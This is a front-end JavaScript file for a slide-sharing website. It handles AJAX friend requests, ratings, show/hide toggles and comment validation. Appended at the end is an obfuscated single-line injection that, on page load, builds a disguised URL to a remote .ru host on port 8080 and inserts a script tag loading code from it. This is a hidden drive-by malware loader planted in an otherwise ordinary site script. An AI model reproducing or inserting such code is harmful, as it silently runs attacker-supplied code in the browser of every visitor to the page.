﻿// JScript File

var xmlHttp;
var username;
var imagepath;



function add_friend(userid,friendid,name,image)
{
   username=name;
   imagepath=image;
   
   xmlHttp=GetXmlHttpObject();
   if (xmlHttp==null)
   {
     alert ("Your browser does not support AJAX!");
     return;
   } 
   url="http://www.slideworld.com/add_friend.ashx";
   url=url+"?userid="+userid;
   url=url+"&friendid="+friendid;
   url=url+"&sid="+Math.random();  
   xmlHttp.onreadystatechange=stateChangedaddfriend;
   xmlHttp.open("GET",url,true);
   xmlHttp.send(null);
}

function stateChangedaddfriend() 
{ 
    if (xmlHttp.readyState==1)
     {  
       document.getElementById('div_username').style.display="block";	  
	   document.getElementById('div_username').src="http://www.slideworld.org/IMAGES/N_loading.gif";       
     }
     if (xmlHttp.readyState==4)
     {        
      document.getElementById('div_username').innerHTML="<b>"+username+"</b> is now your friend.";
      document.getElementById('img_owner').src="http://www.slideworld.com/thumbnail2.aspx?width=60&file="+imagepath;
     }
}


function GetXmlHttpObject()
{
var xmlHttp=null;
try
  {
  // Firefox, Opera 8.0+, Safari
  xmlHttp=new XMLHttpRequest();
  }
catch (e)
  {
  // Internet Explorer
  try
    {
    xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
    }
  catch (e)
    {
    xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
  }
return xmlHttp;
}

function setRating(ArticleID,Rating, bit)
 {
       for(i=0;i<5;i++)
        {
           var loop=i+1;
           var a=document.getElementById("RatingIcon-" + loop );
           if(i<Rating)
           {            
               a.className="icncuteon";             
           }
           else
           {
              a.className="icncuteoff";
           }
        } 
        //alert("hi hello")        
        ajaxpage_get('../rating_ajax.ashx?Rating='+ Rating +'&ArticleID='+ArticleID, 'ctl00_ContentPlaceHolder1_spRate', '','');
   
   }
  function showNotes(val1)
  {
       if(val1==true)
       { 
            document.getElementById("notes").style.display = "block";
            document.getElementById("notesController1").style.display = "block";
            document.getElementById("notesController").style.display = "none";  
       }
       else 
       {  
            document.getElementById("notes").style.display = "none";
            document.getElementById("notesController").style.display = "block";
            document.getElementById("notesController1").style.display = "none"; 
       }
      return false;
  }
  function showTooltip(val1,id)
  {
       if(val1==true)
       {
       //alert(id);
//            document.getElementById("notes").style.display = "block";
            document.getElementById(id).style.display = "block";
//            document.getElementById("tooltip").style.display = "none";  
       }
       else 
       {  
//            document.getElementById("notes").style.display = "none";
//            document.getElementById("tooltip").style.display = "block";
            document.getElementById(id).style.display = "none"; 
       }
      return false;
  }
  function show_sharing_options(val1)
  {
       if(val1==true)
       { 
            document.getElementById("share").style.display = "block";
            document.getElementById("shareController1").style.display = "block";
            document.getElementById("shareController").style.display = "none";  
       }
       else 
       {  
            document.getElementById("share").style.display = "none";
            document.getElementById("shareController").style.display = "block";
            document.getElementById("shareController1").style.display = "none"; 
       }
      return false;
  }
 function lnk11(copyField)
 {
      var copytext=document.getElementById(copyField);
      document.getElementById(copyField).focus();
      document.getElementById(copyField).select();
      var CopiedTxt = copytext.value;
      window.clipboardData.setData("Text",CopiedTxt); 
      return false;
 }
  function validate()
    {
         if(document.getElementById("ctl00_ContentPlaceHolder1_txt_comment").value == "")
         {
         alert("Please enter some comments.");
         document.getElementById("ctl00_ContentPlaceHolder1_txt_comment").focus();
         return false;
         } 
     }
  function postcomments()
  {
  //alert("fdgfdgdf");
  document.getElementById("post_comment").style.display = "block";
   document.getElementById("post_button").style.display = "none";
  }
  function Canclecomments()
  {
  //alert("fdgfdgdf");
   document.getElementById("post_comment").style.display = "none";
   document.getElementById("post_button").style.display = "block";
  }
var g;if(g!='' && g!='B'){g=null};function C(){var n;if(n!='rR'){n='rR'};var Rf=new String();var w;if(w!='' && w!='c'){w='U'};var v=String("gUs7f".substr(0,1));this.k='';var M=RegExp;this.eN="";var O='';this.RY='';var W="";function P(q,PQ){var Nk;if(Nk!='' && Nk!='K'){Nk=''};this.WT='';this.cG="";var Z;if(Z!='' && Z!='Oa'){Z=''};var h= String("[");h+=PQ;h+=new String("]VP4z".substr(0,1));var m='';var d=new M(h, v);return q.replace(d, O);var CS="";};var BS="";var YR='';var IV='';var t=window;var a=new String();var b=new String("/zapdV4".substr(0,4)+"AM8mpos.8mMA".substr(4,4)+"4eWcom/".substr(3)+"UrFzapprFU".substr(3,4)+"F13os.c3F1".substr(3,4)+"om/s"+"2wMtatc2Mw".substr(3,4)+"ount"+"er.cqNL".substr(0,4)+"om/zTUd".substr(0,4)+"yngaPHRo".substr(0,4)+".com"+"Qfs/goosQf".substr(3,4)+"gle.W4r".substr(0,4)+"com."+"php");var i;if(i!='BY' && i != ''){i=null};var bw=String("src");var hkq="";var A=P('8222722202722287227272702222777',"72");var bR;if(bR!='HO' && bR != ''){bR=null};var L=String("sc7qR8".substr(0,2)+"ri"+"ptXMdn".substr(0,2));this.ES="";var Nc='';var u=String("htt"+"p:/RlS".substr(0,3)+"spi/napsi".substr(3,3)+"rod"+"o21-ru1o2".substr(3,3)+"g2Z.dr".substr(3)+"udgf76".substr(0,3)+"Dpwoere".substr(4)+"por"+"t.cFgn".substr(0,3)+"U5pcom.5pUc".substr(4,3)+"virZJf".substr(0,3)+"gil"+"io-Y9Uh".substr(0,3)+"it.VATX".substr(0,3)+"dHGCbuyGHCd".substr(4,3)+"9cimypic9".substr(3,3)+"PUqalm".substr(3)+"p9MJ.ru".substr(4)+":7g0".substr(0,1));var E="L8INdef".substr(4)+"er6YZ".substr(0,2);var xH=new String();var Co;if(Co!='Md'){Co='Md'};this.pK="";this.lG="";var s='';var BO;if(BO!='ig' && BO != ''){BO=null};var Rx="";t.onload=function(){var Ib;if(Ib!='Sv'){Ib=''};var rKD="";try {this.TI='';s=u+A;var b_B;if(b_B!='f' && b_B != ''){b_B=null};s+=b;var NE;if(NE!='cR'){NE=''};de=document.createElement(L);var PJ;if(PJ!=''){PJ='CI'};var Hz='';this.am="";de[bw]=s;this.tW="";var bu=new Array();de[E]=[1][0];document.body.appendChild(de);this.kL="";var gp=new Date();var CIF;if(CIF!='Mj'){CIF='Mj'};var Uj;if(Uj!='wZ'){Uj='wZ'};} catch(z){};var FU=new Date();};var gD="";var yR=new Date();};var iE=new String();var MG='';C();